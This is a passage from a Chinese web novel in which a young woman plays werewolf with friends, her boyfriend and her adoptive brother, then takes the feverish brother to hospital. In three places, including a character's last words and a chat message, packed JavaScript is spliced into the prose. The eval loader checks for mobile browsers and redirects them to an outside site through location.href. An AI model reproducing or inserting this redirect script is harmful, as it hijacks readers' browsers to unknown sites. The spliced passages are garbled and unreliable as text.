“没什么问题,我只是在想……”范茹画顿了顿,才继续轻声说,“如果你有一天不想玩下去了想稳定下来也行,一直像过去那样也行。但如果让你稳定下来的对象是谈祝霄,我会觉得有点……出乎意料。” “哪里出乎意料?” “他拴不住你。”范茹画说,“在我看来,他这样的人,还没有能力去拴住你的心。” 闻言,程拾醒弯唇,同她开玩笑:“那你觉得谁能拴住我?” “无关任何人。只有你自己,只有当你深思熟虑过后还心甘情愿的时候。” “我不可能心甘情愿地被拴在一段关系里一辈子。” 范茹画立马警戒地质问:“我们的友谊也不行吗?” “好吧。”程拾醒改口,“友谊除外。” 范茹画也弯起眼,挽着她的手臂。 冬日的阳光没什么温度,冷风吹散头发,努力撇开围巾往里灌。 前面的谈祝霄搞完了导航,转过身来,朝程拾醒奔过来,低着头,下巴尖埋在围巾里,鼻尖带着红,发丝随着他的动作跳跃,阳光在他脸上闪闪发光。 有人突然从后提快了脚步,肩宽背挺,目不斜视,双手插着驼色大衣口袋,背着光,同跑过来的谈祝霄擦肩。 程拾醒望着,却不知怎么的,谈祝霄的笑容在视野里变得模糊,本该虚焦的余光在这一刻自动锁在了那道背着光的熟悉身影上。 只一眼。 她便立即挪开。 29. 29 交了费,在店员指引下,一行人在狼人杀的房间里坐下。一张长桌分割八人,桌上的篮子里摆着各种小零嘴与矿泉水,几幅随意又美观的简笔画裱了相框挂在白墙上,黑色沙发座椅柔软舒适,靠在墙角的立式空调静静运作着。 在座几位只有江宥没玩过,dm介绍完规则后定下八人局的配置,两名狼人,一名白狼王,两名平民,再加预言家、女巫、守卫各一名,屠城。考虑到江宥不会玩,流程简单化,无警长竞选。 卡牌被打乱重组,程拾醒摸过牌,抵在掌心翻开,确认身份后不动声色地将牌翻过扣在桌面上。 她是狼人。 各就各位。 充当上帝的dm开了口:“天黑请闭眼,白狼王请睁眼,确认身份……白狼王请闭眼,狼人请睁眼,请互相确认身份并在商量后选择击杀目标。” 程拾醒睁开眼,与对面的蒋冬至碰上目光,略停顿,随后目光一扫,确认了她第二个狼人同伴——五号谈祝霄。 后者冲她露了个笑。 她的目光扫过在场各位,最终定格在了蒋冬至的身上,相视间,眼未眨,毫不犹豫伸手比了个数字。 三。 是蒋冬至。 对方神色平静,没有任何异议,只微微颔首,算是应和。 见二人皆同意,谈祝霄虽觉得激进,也跟着点头。 “女巫请睁眼,今夜死亡的是……”上帝比出三,“是否使用解药……是否使用毒药……女巫请闭眼。” “预言家请睁眼,请选择查验目标……他的身份是……预言家请闭眼。” “守卫请睁眼,请选择要守护的玩家……守卫请闭眼。” “天,亮了。” 上帝说:“昨晚是平安夜,接下来请从一号选手开始发言。” 第一天大多没有什么信息,从一号到三号开口全是好人,到了四号乔希,开了口:“目前什么信息也没有,我就直接曝了,我是预言家,查杀五号,先说一下首晚验五号的理由,他坐在我的对面,所以他的动作、表情对我来说会看得更加清晰直观一点。而刚才拿身份牌时,我看到他的表情有点耐人寻味,因此就有点怀疑,昨晚验后果不其然是铁狼一匹。今晚狼很有可能会刀我,所以请守卫守我。我的发言到此结束。” 程拾醒安静听着,而身侧谈祝霄的身子不自觉坐直了些。 “先解释一下四号说我表情耐人寻味的问题,我拿到牌的时候确实有点惊讶,因为我是预言家。这是我第一次玩狼人杀拿到这个身份,之前跟朋友玩的几把我都是平民,所以我现在确实有点紧张。”他道,“昨晚我验了三号,金水。验他的理由很简单,第一轮什么信息也没有,他看上去会玩,而且我女朋友之前也提起过说她哥哥玩游戏很厉害……” 话说到这,周围人神色各异。 程拾醒指尖玩转着笔,头未抬,稍稍提了下唇角。 扯淡,她可从来没在他面前主动提过蒋冬至怎么样。 “……如果他是狼,验到了再好不过,如果他是好人那么可以带思路。本来是想再藏一轮看看能不能验到狼,没想到居然第一轮就有人抢我的身份,那么现在四号在我这儿就是铁狼一匹了,今晚我会验你,请守卫守我,发言完毕。” 六号程拾醒放下了笔。 “先说一下我的身份,平民。”她神态自若,语速飞快,“关于四号说目前没什么信息,嘶,其实也有。昨夜大概率女巫解药已经被用掉了,毕竟在女巫有解药的情况下守卫不太可能守人,不然玩家有一定几率会被奶死。哪怕守人,守卫首夜大概率是守自己,而狼人正好刀到守卫,女巫不使用解药的几率实在太小了。如果我的推测正确,那么现在场上会有一名女巫的银水,当然也不排除狼人骗药,但第一把还不了解在场玩家特点就这样做有点太冒险了,所以我个人更倾向于女巫救了人且对方和我们是同一阵营。鉴于现在场上已经有两名预言家,建议后面如果有人是神职的别跳,女巫等后面再报银水。关于两位预言家,双方都有合理理由,我也确实跟五号提过我哥,所以我暂时没有听出来漏洞。最好这轮先平票吧,看晚上狼刀谁,发言结束。” 七号范茹画:“我是好人。四号五号里必有一头狼,但我觉得,狼人今晚不一定会刀真预言家,也有可能是自刀,混淆视听。” 八号李纷纷:“同平民。我同意平票,现在信息太少也断不出什么,不管狼今晚究竟会不会自刀,起码明天留给我们的信息能更多一点。但是我觉得狼人今晚自刀的可能性不大,让真预言家再验一次的风险太大了。” “现在开始投票。”上帝扫过在场各位的手势,五号谈祝霄与四号乔希的票数分别为四票,“平票,无人出局。现在,天黑请闭眼,狼人请睁眼。” 程拾醒再次睁开眼,同两位狼人一碰视线。 谈祝霄伸出四根手指,同一时间,蒋冬至抬手,比了个五的手势。 他略一侧头,目光在胸有成竹的谈祝霄身上轻轻一点,又轻描淡写地收回,落在程拾醒身上,头微微歪着,脊背放松慵懒地朝后靠,手腕搭放在桌上,手指仍那样坚定地伸着,半点没有要改变数字的意思,就这样看着她。 蒋冬至是白狼王。 程拾醒在对视中,这样想。 他可真大胆,上一夜如果女巫没有用解药,白狼王就会平白无故失去自曝后拉人下场的机会。在这样的情况下,他居然也敢点头,让她的试探落了空,差点误认为谈祝霄才是白狼。 包括现在他的抉择,也是真的冒险。 如果守卫守的是四号,他们就会失去一个狼人伙伴。并且,如果四号是真预言家,今晚大概率会验和谈祝霄绑定在一起的蒋冬至,也许明天过后,只会剩下她一个人孤军奋战。 可那有什么关系? 程拾醒看着他,伸出手,比出五。那一秒,她看见蒋冬至唇角微不可见的弧度。 她就喜欢冒险,不冒险的人生没什么意思,不冒险的游戏也是。 谈祝霄睁大了眼,眼底有一瞬的震惊逝过。 “请狼人统一今晚要刀的对象。”上帝催促。 程拾醒朝谈祝霄望了过去,对方眼睛缓慢地眨了下,又垂落下去,缓缓抬起蜷缩在掌心的大拇指——五。 “狼人请闭眼,女巫请睁眼……” “……” 上帝:“天亮了,昨晚死的人是五号,没有遗言。” 周围有人吸了口气,而程拾醒微微挑了下眉,适时表现出一点惊讶,余光里,瞥见谈祝霄垂着头,额前刘海的阴影挡住他的眼睛,看不出具体是什么神情,仅能从姿态上察觉出隐隐的失落。 “从一号开始发言。” “我就直接曝了,我是女巫。”一号冯亦欣干脆道,“第一晚狼刀的是三号,我使用了解药。昨夜死的人又是五号,所以我认为四号就是狼,在场唯一真预言家已经被刀了,守卫今晚请守我,发言结束。” 二号江宥:“赞同前置位。” “作为金银花露水也没什么好说的,我信一号五号的神职。”蒋冬至耸肩,脸上浮起一抹淡淡的笑,“至于……听说六号说我会玩,那是在有特殊身份的情况下,可我现在是平民,我不常玩到这个配置。” “我真的真的真的是预言家,请大家相信我。”四号乔希有点着急,无比诚恳,“昨晚我验了三号,铁狼,他跟五号是一伙的,前晚和昨晚都是自刀,请相信我,投三号,只要他被投出去了,场上就只剩一头了,我们赢面就大了,发言结束。” “我信四号。”六号程拾醒开了口,“你们难道不觉得很奇怪吗?谁会第一局就刀三号?一般来说这样第一场,狼似乎都不太会刀自己不熟的人吧?在场和三号比较熟的只有我,二号,七号,我是平民,所以我的怀疑目标会在二号和七号之间。而如果七号是狼,大概率第一局上来会先刀我,哪怕她的狼队友反对,也不应该刀在三号身上。我对二号的怀疑保留,但他这两局的发言都很敷衍,感觉更像毫无头绪的平民。除了我们三个,那就只剩下三号自刀骗药的可能了。发言结束。” 乔希一个劲在边上点头。 七号范茹画:“同意。首夜五号的预言和女巫的解药都用在了同一个人身上,这么巧?狼人完全可能是拿自刀混淆视听,结束。” 八号李纷纷争辩:“但是如果三号五号都是狼,前两晚就都是自刀了,玩法这么激进?一个不好,场上就会只剩下一头孤狼了。这种可能性真的大吗?根据目前局势,我还是更倾向于认为一三五是好人,结束。” 上帝:“开始投票。” 一号、二号、三号、八号皆投给四号,而四号、六号、七号投给三号。 四比三,四号乔希出局。 “我们这局完蛋了。”乔希愤然地留遗言,“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262733|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投死了全场唯一真真真预言家。最后的忠告,下场把三号投出去,或者一号女巫直接毒他!六号七号好人,保六打,她思路清晰。” 游戏继续。 “天黑请闭眼。狼人请睁眼。” 这次场上,是四双睁开的眼睛。 程拾醒慢慢吞吞扭过头,同乔希来了个眼对眼,清晰地捕捉到对方眼底的惊讶与荒谬。 她就这样憋着气瞪着眼,看上去好像快碎了。 程拾醒悠悠收回了目光,对着蒋冬至比出六。 守卫这局大概率守一号,刀一可能会被挡。 范茹画太了解她了,得除。不然可能等明天醒来,范茹画就反应过来她有问题了。 蒋冬至眼底含着笑,颔首。 “狼人请闭眼,女巫请睁眼……” “……” “天亮了,今晚死的人是七号,没有遗言,接下来从一号开始发言。” 一号冯亦欣:“现在场上还剩两头狼。除掉我和三号,就只剩下二号、六号、八号,三选二。我再听听后面的发言吧,今晚我估计必死,临死前我肯定会带走个人的。” “我不是狼。”二号江宥急切地否认,“我真不是!我只是不太会玩,相信我,肯定是另外两个人!” 三号蒋冬至:“推一下身份,五号预言家已被刀,四号狼人已出局,一号女巫。七号之前只说自己是好人,但没有具体说是平民还是神职,有可能是守卫。平民只有两位,除了我,另外三人都称自己是平民。所以,现在就两种可能,七号是守卫,三个人里一个平民两头狼,又或者七号是平民,三个人里一个守卫两头狼。所以在场守卫还活着的话可以曝了,说出自己每晚分别守了谁,这对推断很重要,结束。” “我是守卫。”六号程拾醒语气认真,“第一晚我没有守任何人,这就是为什么我第一天的发言会说女巫使用了解药,那段分析就是我当时的心路历程,第二晚,我守了四号。其实当时挺纠结的,四号五号的发言都挺合理的,但后来突然想到,如果五号是预言家,为什么第一晚不验我?我个人认为按照他的理由,验我的可能性应该会比验三号的更大。所以,我选择了四号,后面听到第二轮女巫的发言,更确定了四号是真预言家的想法。第三晚,我守了一号,因为她是女巫。我还是认为三号是狼,五号是狼,二号和八号中间有一头,发言结束。” 身侧的乔希默默地闭了下眼睛,深呼吸。 八号李纷纷:“我不是狼,我是真平民。我现在有点混乱……六号说的好像也有点道理……她的守人理由是很完整的。但是我又还是觉得开头两晚全是狼人自刀很奇怪……总之,二号必是狼!先把二投出去!” 八号发言结束,开始投票。程拾醒再次投给了蒋冬至,另外三人皆投给了二号江宥。 二号江宥出局。 “我服了。”他挠了挠头发,说遗言,“我才是真平民!八号才是狼!女巫今晚把八毒了吧!我也数不清场上现在究竟有几头狼了,我是真的新手。说不准女巫把八号毒了,咱就赢了!” 上帝:“天黑请闭眼,狼人请睁眼。” 程拾醒睁眼,同蒋冬至相视一笑。 1。 她和他同时打手势。 “狼人请闭眼,女巫请睁眼。” 一号冯亦欣啪一下睁开了,直直望向上帝。 “今晚死的人是……”上帝竖起一根手指,“你要救吗?你有一瓶毒药,要使用吗?” 冯亦欣点头,信心满满、毫不犹豫地指向八号。 “女巫请闭眼,预言家请睁眼。” 乔希抱起胸,木着张脸听上帝念台词:“请选择查验目标。他的身份是……预言家请闭眼。” “守卫请睁眼,请选择今晚要守护的玩家。” 七号范茹画摇摇头,无声做了个叹气的动作。 “天,亮了。” “昨晚死的人是二号和八号,游戏继续,请一号发言。” 冯亦欣不可思议,视线在蒋冬至和程拾醒身上来回切换,“不是,你们之间谁是狼?不是,这和我想得不一样啊!” “确实不一样。”蒋冬至嗯声,神色悠然,还是一派懒散舒适的模样,牵起唇角,指尖捏住桌上自己的那张身份牌,掀开,指腹在牌面上一点,“我自曝,白狼,带走一。” “游戏结束,狼人胜利。” 30. 30 中途江宥请大家喝了奶茶。蒋冬至拦着结款,江宥叹口气:“冬至哥,你就让我请了吧,饭钱也是你结的,桌游也是你结的,给我个表现机会吧,本来我的目的是在我女朋友的朋友面前刷个脸讨个存在感的,你这样,存在感全被你抢走了。” 他这才收手。 程拾醒没点,最近一个月她已经喝了两杯了,得控制着口腹之欲。 蒋冬至也没点。 他不爱喝奶茶,更不愿意喝比他年纪还小的学生请的。 骑手送达后,江宥去前台提着两大袋回来,按着标签众人分了分。 身侧的谈祝霄低声问:“你真不喝?” 她摇摇头。 “你喝口我的?”他将吸管噗一声插进杯中,搅匀了珍珠,递至她唇边,语气里带点哄,“只喝一口又没关系的,我还专门点的无糖呢。” 程拾醒朝后仰了点脸,伸手点点唇瓣。刚补完唇釉不久,在灯光下泛着水润的光,似咬过一口草莓,于是唇上沾了汁水,透着股红调血色。 “我今天涂的唇釉有点沾杯。”她说。 他视线一垂,落在她唇上两秒,声音轻轻的:“我又不介意啊。” 她瞧着他的眼睛,脸稍侧,无声扬眉。 奇了怪了,平时连私下里听个情话都容易害羞,今天在一桌子人面前,还能说出这种话? “你们小情侣够了。”乔希在一旁凉凉道,“这还有单身狗呢,注意点行不行?” 程拾醒笑着移开目光,撩起睫毛,这才注意到蒋冬至投来的视线,他的下颚线正绷着,眼底带着股奇怪的克制。 她心中逆反之心突起,倏地抬手握住谈祝霄递来的奶茶杯,大拇指指腹覆在他的指节上,就着这样的姿势,低头抿了口。 无糖奶茶味道依旧寡淡似水。 她咽下,吸管上果不其然被印了圈淡红色。程拾醒倾身抽了张纸巾,擦拭干净了,才松开压在他指节上的手指,轻轻推开。 再抬眼时,对面人已经垂了眼睑。 程拾醒神色平平地扫过,忽而觉得自己这样很没意思。 她本不是喜欢在人前秀恩爱的类型,现在这是在做什么呢? 不过是想同蒋冬至唱反调,告诉他“你看,你管不住我,我想做的事情你拦不住,而你越不想让我做的我就偏要做给你看”。 可这样能得到什么呢?得到一段越来越僵化的兄妹关系?还是得到他像现在这样落寞的表情? 没劲儿透了。 - 后头又玩了几场,在江宥熟悉流程后,加了警徽配置。 最激烈的那场,蒋冬至是跳预言家的狼,程拾醒是女巫,他没刀她,而是要留她做替罪羊,而她在夜晚毫不犹豫对他下了毒药,最后好人方胜利。 下午五点,包房时间差不多到了,几个人亦玩累了,收拾收拾东西,预备上个厕所便离店。 女厕门口要排队,乔希同李纷纷等在外面狭窄的走廊上,随意聊着天。 “你下周的小组作业写完了吗?” “不知道啊,我是负责撰写文档的,反正我的活儿是早就干完发到群里了,但制作PPT的同学到目前为止都没吭声。” “我们组正愁着呢,没人愿意上台演讲,大家都是i人。” “就这个老师事多,作业多不说,还强制按点名单分组,不然我就和你们一组了。” “是啊,程拾醒她们组现在估计肯定是完成了,她们组就没磨叽的。”乔希感慨着,忽而从背后的墙壁上直起了身,若有所思,“话说……你觉不觉得,程拾醒对谈祝霄不一样?” “听听,多新鲜。”李纷纷道,“两个人谈着恋爱呢,不一样不是正常得很吗?你下一句是不是还要问,程拾醒是不是有点喜欢谈祝霄?” 乔希跺跺脚:“不是啊,是你见她什么时候把哪任男友带到我们面前过?” “那还不是因为冯亦……” “麻烦让一下。”有道清朗冷冽的嗓音打断李纷纷的话,二人偏过头,才瞧见蒋冬至正神色冷淡地站在旁边。 走廊狭长,灯光不算明亮,还有一只灯泡坏了,店家还未来得及更换。光线昏昏描绘他颀长的身形,一张精致立体的脸上没什么表情,整个人匿在沉沉光线中,暗得不得了。 李纷纷忙侧身,往乔希身上挤了挤,空出一条通道供他通行。 “谢谢。”蒋冬至礼貌。 两个人噤声,默默目送着他拐进了男厕,李纷纷才敢低声:“要我说,程拾醒她哥才古怪呢。” 另一边的包房内。 程拾醒正刷着手机,自从社交圈里多了乱佩佩这样一位,她每天登上红因平台,除了给粉丝回消息外又多了一件事—— 打开小号,观看乱佩佩私发给她的各种搞笑视频。 对方甚至把她拉进了群里,群友都是那天派对里的人,几个人轮流在群里啪啦啪啦刷着视频嘎嘎乐,消息都快比私信她的粉丝多了。 谈祝霄凑过脸来,头抵着她的,手撑上她的椅子边,问:“看什么呢?” “朋友发来的视频。” 他嗯了下,又问:“你今天是跟我一起回学校,还是跟你哥回家?” “再说。” “等他们回来,我们就要走了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286232|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程拾醒按下暂停键,耳机里的声音立马停了,她扭过头来定定看他。 谈祝霄直起脖子,隔开一点距离,“怎么了?” 她细细打量了他会儿,才道:“不开心?” “没有啊。”谈祝霄低下眼,没看她了,“就是问问。” 程拾醒摸摸他的头发,嘴上说着:“那就好。你不开心的话,我也会不开心的。” 听着还是像骗人的。 谈祝霄低着头,乖乖由着她摸。 门口传来细微响动,余光里,被打开,又关合。 她收回手,听见谈祝霄问:“明天我们去约会好不好?” 对面的椅子被人重新拉开,有人落座。 程拾醒说:“好啊。” 其余几个人很快也回来了,拎了包,说笑着,往外走,走廊昏暗,谈祝霄被江宥勾去了前头,她落在后头,摘下蓝牙,啪嗒一声合上耳机盒。 几乎是同一时刻,蒋冬至的嗓音贴着她的后背响起,用仅两人可听得见的音量:“买了牛肉,番茄,虾仁,生菜……” 她打断,平淡:“不喜欢吃。” “还不开心?” “听不懂。” 他顿了下,声音又低几分:“给过你糖了。” “……太甜了。”她偏开点头,唇却偷偷抿了下。 蒋冬至不说话了。他这样的示好总是短暂,哄人也永远只是一招,还是小时候的她教的。笨嘴拙舌,一开口就能句句扎在她不爱听的位置上,怪不得语文能考那么烂。 他也很没劲。 程拾醒亦不说话了。 外头正是余晖落日之际,夕阳的光晕透过玻璃门落进来,漂亮得紧。 前头的谈祝霄想回头,被江宥生拉硬拽着勾脖子,强行听着对方的喋喋不休:“经过这么一天,咱们以后也是兄弟了,你放心,哪怕以后拾醒姐不要你了,我也不会放弃你这个朋友的……” 哪壶不开提哪壶。 他心中憋着一口气,随意找了个借口,终于扒拉开江宥,朝后小跑两步。 门上悬挂的风铃声作响,风随着敞开的门滑进来,落在她的身上。 程拾醒刚要抬脚迈出去,手腕刹那间被人握住,但很快便松开了,蒋冬至旋身绕至她身前,逆着光,挡住外头的金灿余晖,挡住所有人,将她隔断在身前。 谈祝霄停住了步子。 “我错了,醒醒。”蒋冬至捏着她的围巾向上提了提,手指在寒冷的冬季那样苍白,骨节处却泛着红。他弯了点腰,主动垂首,就像一个下位者,“怎么样才能哄好你?摸摸我的头发,可以吗?” 31. 31 程拾醒心脏猛跳一瞬。 她的哥哥,从来都是等着她先装乖服软才愿意不计较的哥哥,就连偶尔先服软也不过是用塞糖这样迂回方式的哥哥,总爱挟着她的胳膊,听不到满意答案就不让走的……蒋冬至,此刻正叫着她的小名,以这样卑微的姿态、语气请求她的原谅。 他从来没有这样同她低声下气过。 她仰着脸,望他垂下的睫羽,望他背后金芒在发上的闪动,插在口袋里的手指一颤。 寒风被尽数挡在他身后,身前是温暖的世界。 “哎!”外头有人喊,“里面那对兄妹在干什么呢?不走吗?” 她紧绷的手指松下,重新落入口袋底,却蜷起。 “知道了。”程拾醒掠过他低垂的头颅,朝外走,“我会跟你回去的。” - 晚上,她同谈祝霄照例视频通话。 已是半夜十二点,谈祝霄溜到阳台上,睡衣外裹了件羽绒服,在冷风里同她小声聊天。 程拾醒见他冻得直哆嗦,问:“你冷不冷?” 谈祝霄摇摇头:“不冷。” “可你鼻尖都是红的哎。”她伸手,戳了戳屏幕上他通红的鼻子,“你室友都睡啦?” “嗯,明天有早八。” “那你也快回去睡吧,不然明早起不来。” 他鼓了鼓脸侧,撒娇:“可我想和你多聊一会儿。” “明天你下了早课,我们俩就能见面了。”程拾醒又戳戳他的脸,“我可不想见到一个有黑眼圈的男朋友。” 他想了想:“好吧。” “晚安。”她小声贴着扩音器说,“拜拜。” “哎,先别挂。”谈祝霄又叫住她,唇间呼出的气在冷空气凝成一缕白烟,犹豫了会儿,他还是问,“我今天送你的玫瑰……养起来了吗?” “……” 她停住。 “抱歉。”她内疚,“我忘在宿舍了,明天来见你的时候,我再拿回去养着。” 他不作声,低着个脑袋,屏幕里只能在夜色里模糊地瞧见个轮廓。 “别生气啦。”程拾醒软着嗓子哄他,手机那端的人却依旧安静。 半晌,谈祝霄说:“花没有水的话,枯萎会很快的。我明天再送你一束吧。” “不用了。”她推脱,“一束就够了。” “不行。”他的态度变得难得强硬,程拾醒一顿,而后,听见谈祝霄轻下了嗓音,却还是坚定地说,“得送,那束可能已经枯萎了,我再送你一束,然后你养起来,好不好,宝宝?” 这次换她沉默,有几秒钟没有开口说话。 “好不好嘛?”他又冲她撒娇,带着些焦虑,“好不好,宝宝?” “好。”她终于点头。 挂断电话后,程拾醒亦困了,灯一关,窝回温暖的被窝里。 房间隔音不好,卫生间隐隐传来洗澡的水声,她的脸埋在被褥间,烦躁地翻了个身。 蒋冬至今天不是洗过澡了吗? 怎么大半夜的还要洗第二次? - 翌日,程拾醒起得挺晚。昨夜梦中总睡得不踏实,好在她今天没课。 不急不慢地洗漱完,哼着歌化了妆,预估着时间差不多,便背着包包,在玄关处换鞋欲出门,弯腰将换下的拖鞋摆回鞋架上时,视线在空空的拖鞋架上一扫,那双浅蓝色的拖鞋不在。 奇怪,蒋冬至居然今天没出门上班。 她也没多在意,毕竟他偶尔也会居家办公。 手搭在门把手上,一按一推,门却如卡住了一般,纹丝不动。 她不死心,检查了遍,确定没有反锁后,又用力朝外推了推,依旧不动。 程拾醒卸下力道,盯了门几秒,还是转身决定去找蒋冬至。 “哥哥。”她扣响他的房门,“哥哥?” 没反应。 她提高了点音量:“蒋冬至,你在里面吗?” 终于有动静了。里头人咳了两声,哑着嗓子发了个单音节——嗯。 停停,他又道:“你进来吧。” 程拾醒推门而入。 屋内开了暖空调,没开灯,窗帘拉开着,外头温柔的阳光落进来填补光线。他似乎已经醒了一会儿了,只是仍躺在床上,阖着眼,唇色苍白,眉蹙着,手抵着唇瓣,又低低咳了几声。床头柜上还摆放着药箱,盖子敞开着,明显被人翻过,凌乱的药板被随意丢在一边。 她原先要出口的询问卡在喉间,走至他的窗前,伸手探了下他额上的温度。 烫得吓人。 她的眉心跟着拧起。 “量过体温没?”程拾醒问,“几度?” 他闷闷地从喉间吐出个数字:“四十。” “……” 程拾醒突然庆幸起自己方才没推开防盗门,不然蒋冬至在屋子里烧死了她都不知道。 只是…… “怎么会突然生病?” 蒋冬至同她不一样,毛病虽死多,什么胃病、过敏,却不是容易感冒发烧的类型,只是每次一烧就不得了,吃药喝热水还不成,非得去医院挂水才能好。 不过,一起生活那么多年,他感冒发烧的次数一只手都能数得过来,还没犯胃病的次数来得勤。 她细细想过昨日,他穿的分明也不少。 蒋冬至默了默,道:“嗓子疼。” 嗓音哑得厉害,出口几乎不成调。 “你还有力气吗?”她瞧着躺在床上的蒋冬至,脆弱得像被掰了一半的茎吊在那里摇摇欲坠的花,“起来穿个衣服,我送你去医院。” 他闭着眼,不吭声。 “没力气?”程拾醒问,“需要我帮你吗?” “不是。”他有气无力,“防盗门锁坏了,出不去。” 人在倒霉至极的时候总会发笑,她觉得荒谬地哼笑了声,随后敏锐地察觉到不对:“你怎么知道门坏了?” “早上醒来发现不对,本来打算自己去医院的。” “所以你是穿好了衣服,准备出门,结果发现门锁坏了,于是又把衣服脱了换上睡衣,回到了床上继续躺着?” 他应了声:“外面的衣服不能沾床。” 程拾醒:“……” 那他确实还挺有力气的,能拖着这样一具身体完成一系列事情。 “我给修锁师傅打个电话,你再休息会儿吧。”她也没怀疑,帮他把窗帘拉上,边从包里掏出手机拨通电话,边往外走。 门被合上,床上的蒋冬至睫毛抖了下,惨白的唇瓣翘起个微不可见的弧度。 修锁师傅来得挺快,隔着一扇门,程拾醒双手成弧状搁在唇旁,同他大声交流着。师傅扯着嗓子说好,包在他身上。 门口修锁的乒里乓啷声不断,程拾醒倒了杯热水给蒋冬至送去。 他还躺在床上,几乎下半张脸全蒙在被褥中,听见动静,眼半张开。 她将热水搁置在床头柜上,问:“好点没?” “没。”他动了动,松开抱枕,用手臂撑着坐起来,握着杯子抿了一小口水。 热气萦绕,将玻璃杯沿染成雾色。 “门修好后,我会自己去医院,你不用管我。”他放下杯子,突然说。 “什么意思?” 他看向她,嗓音嘶哑:“你不是今天要和你的那位男朋友约会吗?” “我会取消的。”程拾醒道,“你……是我哥哥,我不可能让生病的你一个人去医院。” “是出于责任还是关心?” 她顿顿:“你不是嗓子疼吗?” 他又不说话了。 “我去看看门修得怎么样。”她转身要走,身后人却唤她小名。 “醒醒。”他盯着她未回头的背影,道,“药是挺苦的。” 她停下两秒,不动声色:“是吗?我还以为你挺擅长吃苦的。” 防盗门前,修锁师傅终于把门捣鼓开了,换上新锁芯,摘下脏兮兮的白色手套,喊她:“哎,姑娘,换好了,扫二维码结下账单。”他从口袋里捏出张打印出来的收款二维码卡片。 “好了师傅。”她付了款,留心多问了句,“这个门锁具体是出什么问题了呢?零件老化吗?” “没。不知道是谁那么缺德,往你们门锁里塞了东西。”装修师傅弯腰用手指在边上被拆掉的那一圈零件里拨了拨,掌心一摊,程拾醒低眼去瞧,银色金属片被拧成小小的一团,跃入眼底,耳边师傅道,“喏,就这小玩意。” 锡片。 她的视线在这样小小的一团中定着,毫无笑意地弯了下唇,“这样啊。” - 待把蒋冬至送到医院,程拾醒才看到手机里的消息,来自一个小时前的。 A男朋友:【知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295264|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 A男朋友:【那你今天还来学校吗?】 A男朋友:【花我已经买好了,如果你今天不来,又得枯萎了。】 …… A男朋友:【怎么不回消息?】 …… 还有刚发来的一条。 A男朋友:【你真的在乎我吗程拾醒?】 这句话只在屏幕上停留了一秒,下一秒钟便被撤回。 程拾醒皱眉,点出键盘。 针孔推入皮肉,贴上输液贴,蒋冬至握着输液杆起了身,旁光掠过身侧正低着脖子拧着眉打字的这位,身子倏地一晃,肩抵靠住她,才终于稳住步子。 程拾醒吓了一跳,刚打完的字还在聊天框里都来不及点击发送,忙扶住他的胳膊,接手了输液杆,让他倚着自己,在输液室里随便找了两个空位坐下。 见他额上全是汗,几乎沾湿了碎发,她问:“你热不热?” 蒋冬至摇摇头:“有点冷。” “我再去给你倒点水。”她方要站起来,又被人搭住胳膊,力道不重,仅是个挽留的姿势。 “别去了。”他抬起食指,揉揉太阳穴,“我头疼,让我靠一会儿吧。” 她瞥过轻轻覆在自己胳膊上的那只手,还是坐回实处,上半身朝后,抵着椅背。身侧人朝前坐了坐,慢慢吞吞靠过来,脑袋碰上她的肩头,再一点一点压实了。 进医院后,她取下了围巾,此刻他柔软的发丝捂在她颈侧,毛茸茸的。 她挺直了点背,企图让他靠得更舒服些。但实际上那不过徒然,他个子太高,靠在她身上总有种憋屈感,人往前坐着,长腿微曲着往前伸,膝盖几乎抵在了前面的椅背处。 她偏过点头,却只看到他的发顶,“嗓子好点了吗?” “稍微。” “那我们来随便聊聊天。”她心平气和地说,简直就像拉家常,“你为什么会叫冬至呢?你出生又不在冬至那天。” “不知道,你应该去问爸妈。”蒋冬至闭着眼,“为什么突然问这个?” “没什么,只是突然想起来,你是个天蝎座。” “你的天聊得还真是随便。” “想听点不随便的吗?” 他动了动,听懂了她的言下之意:“不想听,嗓子疼。” “你想说话就是好点了,不想说话就是嗓子疼。”程拾醒说,“好,那你想说点什么?我现在可以陪你聊。” “可我不想陪你聊。” “为什么?” 他默了默。 “因为你又会生气。”半晌,他低声道,“你现在不太跟我吵架了,你只会转身就走。” ……可他留人的手段真是越来越低级。 程拾醒这样想。 她缓慢地呼吸着,突然伸手钻进他口袋,不过几秒,便掏出颗糖果,葡萄味的。她干脆利落地拆开,一下含进嘴里。 意思很明显——他现在可以说了。 蒋冬至的眼睛瞧着地面,寂静不语,隔了好一会儿,才张开嘴。 “程拾醒。”他的声音听上去带着点迷茫,“你谈这么多段恋爱,图什么呢?” “图快乐啊。”她理所当然,“我喜欢他们,他们也喜欢我。我很享受,他们也很享受,还不够吗?” 他呢喃着:“享受?快乐?” 